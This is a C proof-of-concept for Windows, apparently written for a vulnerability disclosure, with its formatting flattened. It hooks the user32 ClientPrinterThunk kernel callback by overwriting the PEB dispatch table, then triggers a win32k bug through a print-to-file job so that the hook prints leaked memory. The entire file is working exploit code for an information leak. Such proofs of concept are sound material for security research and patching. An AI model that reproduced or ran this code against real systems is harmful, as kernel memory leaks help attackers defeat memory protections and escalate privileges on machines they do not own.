#include #include namespace globals { LPVOID(WINAPI *OrigClientPrinterThunk)(LPVOID); } // namespace globals PVOID *GetUser32DispatchTable() { __asm { mov eax, fs:30h mov eax, [eax + 0x2c] } } BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect; if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; } *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler; if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; } return TRUE; } LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) { LPDWORD DwordData = (LPDWORD)Data; if (DwordData[0] == 0x1c && (DwordData[1] == 0x39 || DwordData[1] == 0x3a)) { LPDWORD LeakedData = (LPDWORD)DwordData[6]; printf("[+] Leaked data: %.8x %.8x\n", LeakedData[0], LeakedData[1]); } return globals::OrigClientPrinterThunk(Data); } int main() { // Hook the user32!ClientPrinterThunk callback. if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) { printf("Hooking ClientPrinterThunk failed.\n"); return 1; } // Obtain a print job DC. PRINTDLGA pd = { 0 }; pd.lStructSize = sizeof(pd); pd.Flags = PD_RETURNDEFAULT | PD_ALLPAGES | PD_RETURNDC | PD_PRINTTOFILE; pd.nFromPage = 1; pd.nToPage = 1; pd.nCopies = 1; if (!PrintDlgA(&pd)) { printf("PrintDlgA failed.\n"); return 1; } // Initialize the print job. DOCINFOA doc_info = { 0 }; doc_info.cbSize = sizeof(doc_info); doc_info.lpszDocName = "Document"; doc_info.lpszOutput = "C:\\Windows\\Temp\\output"; if (StartDocA(pd.hDC, &doc_info) <= 0) { printf("StartDoc failed.\n"); return 1; } if (StartPage(pd.hDC) <= 0) { printf("StartPage failed.\n"); return 1; } // // The bug is triggered here. // EndPage(pd.hDC); // Free resources. EndDoc(pd.hDC); DeleteDC(pd.hDC); return 0; }